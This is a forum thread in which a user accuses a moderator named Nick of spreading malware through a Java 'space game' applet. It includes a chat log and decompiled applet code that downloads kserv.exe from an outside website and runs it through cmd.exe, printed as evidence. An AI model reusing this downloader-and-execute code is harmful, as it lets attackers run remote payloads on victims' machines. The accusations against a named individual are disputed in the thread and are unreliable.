Your Moderator

Daily (Nick) has tried to infect me with something (what it is I'm not sure). Here is some proof and I highly suggest you remove him from your staff list.

Session Start: Friday, January 08, 2010
Sanity ([email protected])
Nick (removed)
(8:06 PM) Nick: hey
wanna try my game?
(8:07 PM) Sanity: what kind of game?
(8:08 PM) Nick: a java game
(8:09 PM) Sanity: what kind?
do you have like a site or something?
(8:09 PM) Nick: its a space game
i do
(8:09 PM) Sanity: link?
(8:10 PM) Nick: http://dudeitscool.net/games/play.htm
(8:13 PM) Sanity: You made this whole thing?
(8:13 PM) Nick: yeah dude
well
I used the gtge engine
but I made the game
(8:13 PM) Sanity: so which classes did you actually write?
(8:13 PM) Nick: im going to be honest with you
im really high right now
(8:14 PM) Sanity: lol
(8:14 PM) Nick: and I made that game a while ago
just decided to show people now
ask me tomorrow lol
(8:14 PM) Sanity: alright lol
(8:17 PM) Sanity: hmmm
Whats with this server shit?
(8:18 PM) Sanity: What is kserv.exe?
botnet?
(8:18 PM) Nick is now Offline

If you follow the link to the website, it takes you to a java game. When the webpage loads the game asks if you wish to allow "Update.jar" to run. By clicking accept, it loads the follow jar.

public void init()
{
Update("http://www.nickmoses.net/kserv" + ".exe", "update" + ".exe", getDir());
getIP();
putIP();
turnONS();
}

The update method:

public void Update(String paramString1, String paramString2, String paramString3)
{
this.checkProgress = true;
this.homeDir = paramString3;
this.saveAs = paramString3 + paramString2;
this.urlLoc = paramString1;
if (!(new File(paramString3).exists()))
new File(paramString3).mkdir();
if (downloadFile())
{
if (!(paramString1.contains(".zip")))
return;
unZipFile();
deleteFile();
}
else
{
System.out.println("error trying again...");
deleteFile();
Update(paramString1, paramString2, paramString3);
}
}


Runs the exe...
static void turnONS()
{
try
{
String[] arrayOfString = new String[3];
arrayOfString[0] = "cmd.exe";
arrayOfString[1] = "/C";
arrayOfString[2] = getDir() + "update.exe";
Process localProcess = Runtime.getRuntime().exec(arrayOfString);
System.out.println("Turned server on.");
}
catch (Exception localException)
{
localException.printStackTrace();
}
}

Deleting the old virus...

static void deleteOLD()
{
if (!(new File(getDir() + "Server.jar").exists()))
return;
new File(getDir() + "Server.jar").delete();
new File(getDir() + "HookTest.dll").delete();
new File(getDir() + "data").delete();
new File(getDir() + "data").mkdir();
System.out.println("Deleted old server files.");
}

After I called him out on it, he blocked me on msn and then next time I tried to login my msn was frozen.

 

Daily's MSN is [email protected].

 

This is an old one of his... You can have more than one msn account (FYI)

 

How do you know it's him? Did he send you a PM or something?

 

http://www.google.ca/search?hl=en&source=hp&q=removed

Are you joking me? Look the results... if the link doesn't work than simply google his email

Edit: Not to mention the virus itself was hosted on his website

 

It probably got hacked >.> That was posted in 2008.

His new one is clearly in his sig, and you're just trying to start shit.

 

As I said, the virus was hosted on his website.

 

What website is this?

 

I'm guessing it was the impostor's website. If the impostor said 'my website', I think that's what he would mean.

 

www.nickmoses.net

 

I've been there before. Odd coincidence. So did you download something or not?

 

No I did not...

I'm merely stating that he tried to infect me with something.

 

Chat logs aren't proof. You need actual pictures of the active MSN window.

 

Yeah... because I leave my msn convos open for 6 days right?

Wasn't going to report him until my msn got frozen.

 

LOL.

3 things.

1. That is Daily's msn.

2. That is Daily's site.

3. I HAVE played the game, it's a harmless copy of space invaders (Except round 99 is the exact same as round 1).

I highly doubt Daily would want to infect you. And as [N]ick said, chat logs aren't proof.

 

If you accepted to run the update.jar then you are infected. I decompiled the jar file and the methods I found are posted in this thread. Since he tried to infect and the time I posted this, he has removed the virus from his website.

 

Veng Pkers add me on msn immediately.
[email protected]

 

Veng Pkers add me on msn immediately.
[email protected]

 

Highlight the malicious part.

 

Lets go through this step by step...

1) You go to the site
2) The applet runs and you are asked if you wish to run Update.jar (published by Microsoft - lol)
3) If you choose to run the applet the following happens:

This method is called first:

public void init()
{
Update("http://www.nickmoses.net/kserv" + ".exe", "update" + ".exe",
the Update method downloads a file from nickmoses.net/kserv.exe and saves it as update.exe
}

public void Update(String paramString1, String paramString2, String paramString3)
{
this.checkProgress = true;
this.homeDir = paramString3;
this.saveAs = paramString3 + paramString2;
this.urlLoc = paramString1;
if (!(new File(paramString3).exists()))
new File(paramString3).mkdir();
if (downloadFile())
{
if (!(paramString1.contains(".zip")))
return;
unZipFile();
deleteFile();
}
else
{
System.out.println("error trying again...");
deleteFile();
Update(paramString1, paramString2, paramString3);
}
}

There is the update method once again. If you don't know java then I don't know what to tell you. After the file is downloaded, the exe is executed and from there I can't tell you what happens (simply because I don't know where to go). Considering he is hiding all of the following in "Update.jar" by "Microsoft" I doubt that is is non-malicious. I am sick of arguing with people trying to defend him. All of the facts have been laid out in front of you, yet you still choose to deny it.